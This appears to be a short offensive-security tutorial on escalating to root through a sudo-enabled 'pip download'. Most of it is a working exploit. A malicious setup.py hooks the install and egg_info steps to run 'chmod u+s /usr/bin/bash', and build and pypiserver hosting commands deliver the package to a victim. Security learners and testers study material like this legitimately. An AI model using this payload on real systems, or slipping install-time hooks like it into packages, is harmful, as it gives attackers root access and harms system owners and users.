Pip is a package management system written in Python. It can download custom Python package so we can create a malicious package to execute arbitrary code.
Practice
Assume that pipe download can be executed as root with sudo rights. if we controll its input, then its vulnerable to arbitrary code execution.
On attacking machine, we can clone the GitHub repo, or create our own source for the pip package as follow:
Assuming the package name is MySimplePackage. We need to create the following files and folders: setup.py in the project root, and init.py, main.py in src directory.
write something similar in the setup.py file. You may edit the RunCommand() function.
# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
# Arbitrary code here!
import os;os.system("chmod u+s /usr/bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "MySimplePackage",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
Build the malicious package
# If you don't have modules below, install them first.
pip3 install setuptools
pip3 install build
# Build - It generates .tar.gz file in dist folder.
python3 -m build
Finally host the package and run the pip download on the victime machine
# Install the module if you don't have it
pip3 install pypiserver
# Copy the tar.gz file into the "package" folder.
mkdir package
cp ./MySimplePackage/dist/MySimplePackage-0.0.1.tar.gz ./package
pypi-server run -v -p 8000 ./package